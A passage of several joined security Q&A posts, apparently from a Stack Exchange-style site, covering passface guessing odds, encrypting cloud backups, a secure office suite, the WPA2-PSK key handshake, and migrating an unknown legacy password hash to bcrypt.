But that doesn't seem to be what you're asking.  You seem more interested in the probability of an attacker randomly guessing a passface using the normal authentication system.  If 9 faces are presented for selection then the attacker has a 1 in 9 chance of guessing the correct face.  If they have to choose the correct face from the 9 different presented face choices 5 times in a row then the number of possible choices are the 9^5 you mention, or 59,049.

I'm not sure what you mean by "it's not the same 9 [faces] though".  If you mean each of the 5 grids don't contain the same 'decoy' faces along with 1 valid face then you're correct.  Each of the 5 grids contain a different selection of decoy faces.  But the 9^5 possibilities figure still works.  You can comment or edit your question if you meant something else.


Should I password protect all my archives from cloud? I am a student and I didn't care a lot about my passwords strength and my files until now. Now I am thinking about having a backup for all my files in cloud.

Questions:

Should I password protect all my archives that I upload? I have a lot of photos and some important files.
Do you think cloud is safe enough? Otherwise what are my options?(I would like not to use an external hard disk). Or what techniques to use to better protect my files?

I have read a lot of articles that said we can't be sure that information is encrypted and who has access at it in the cloud. I don't have a lot of knowledge about encryption but I know you need a key to decode an encrypted information. And we don't know where are they storing this keys and how are they storing these.

"The Cloud" is marketing speak for "Other People's Servers". I will use that term for the rest of this post.

When you store your data on other people's servers, those people are technically capable to look at your files and also show them to anyone who asks.  Whether or not they are allowed to look at them and/or let others look at them should be described in their privacy policy which you should be able to find easily on their website (when you can't find it easily or would need a lawyer to translate it for you: that's a big red flag). Also, some of these people prioritize your convenience over your security and might be easily convinced that someone else is you (remember those mass releases of private photos of celebrities a while ago - the images were mostly obtained from other people's servers through guessing passwords and security questions). Keep in mind that most people who let you store your data on their servers will allow government officials to look at your files when they ask.

When you want to store files on other people's servers, putting them into encrypted ("password protected") archives before you upload them is certainly not a bad idea (just make sure it is proper encryption. The standard ZIP encryption, for example, is very weak. I recommend the 7z format). But you might miss out on some convenience features other people's servers might provide when they have access to unencrypted files.

An alternative to storing data on other people's servers is storing your data on your own servers. There are quite affordable consumer-grade NAS (network attached storage) servers available which you can keep on your home network. When you want more physical distance between your computer and your backups (for example in case of a fire or burglary), you can also rent a server in other peoples network centers and install a solution like OwnCloud on it. This gives you more control over your files because you have more control over the environment it is stored on, but remember that it still runs on other people's servers: When you don't control physical access to a server, it is not your server.


Is there a simple and highly secure office suite? I am designing a highly restricted workstation build for a secure environment. At the minute this is planned to use Windows 7, but I am considering Linux. The users will on occasion open documents from external sources, and I need there should be virtually zero possibility of these documents breaking into the workstation.

Microsoft Office has a long history of security vulnerabilities, a lot around macros, but also buffer overruns and other vulnerabilities. Open Office has a somewhat better history, but has also suffered serious flaws. Given the history of Office vulnerabilities, I cannot recommend Microsoft or Open Office for this environment.

Users do need some kind of office suite, but a basic one would suffice. So here's my question:

Is there a simple office suite that is highly secure?

Remember the I in the CIA triad - Integrity. It is also a security failure if these sensitive Word documents and Excel spreadsheets from outside don't convert properly when you open them in your office suite.

I fear you may have to accept that you need to run a proper copy of Office and put controls around that - for example, by opening them in a disposable VM that you throw away every time you use it. This is easier to do than you might think - most VM hosts allow you to easily roll back to a previous snapshot.


WPA with PSK and with Radius Server In case of WPA2 using the Radius server, every client gets its own username and password. But what is the case in the WPA2 using a PSK without the authenticating server. In this case also we have a 4 way handshake. But is the PTK derived by all clients different or the same?

The PTK is derived by all clients by using the following attributes: PMK (Pairwise Master Key), AP nonce (ANonce), STA nonce (SNonce), AP MAC address, and STA MAC address. That means that a different PTK will be derived for each 4 way handshake, although the PSK is the same.


How can i Identify and use hash function given enough text and their hash? So, I have this old program currently in use, as i have access to the database i have adopted all data i need except the user passwords..

Now users will provide me with the plain text password and have to hash them before matching them with those in the database

I have access to the binary version and can generate hash from any text

Am sure only the password text is used when hashing because different usernames with the same password gets the same hash.

A hash is of fix length regardless of the password text.

I have already tried all popular hashing algorithms but no provided hash match the the value this program creates.

Yes i could decompile this program and peek.. but it may probably be illegal, or imposible

Ultimately, reverse engineering is the most comprehensive method, and it is certainly possible. There is also a dedicated Stack Exchange site for reverse engineering. Arguably, by trying out known passwords and checking the resulting hash values, you have already begun to reverse engineer that piece of binary software. There is nothing qualitatively special to decompilation -- what constitutes reverse engineering is the attempt at understanding, and you have made the first step along that path.

As for legality, it depends a lot on jurisdiction. What is traditionally said is that reverse engineering for interoperability purposes is fair game in Europe (as long as you just use, not publish, your findings) but maybe not in the USA. Laws on that subject tend to change fast, with things like the DMCA, so don't put too much trust in the reliability of the Tradition.

I suggest that you use the binary software to check the password for each user when that user logs in, but then, since you have the password available at that point, rehash it with another, secure and fully specified password-hashing function (say, bcrypt); that new hash will be used to verify further login attempts for that user.

That way, you may gradually move all password hashes to a new system, and after a while you will be able to decommission the old system with the binary piece of hashing. In any case, that old hashing is weak, since it is unsalted (an attacker who can look at the database will be able to speed up attacks a lot through parallelism), so you should build up a transition plan to a safer system.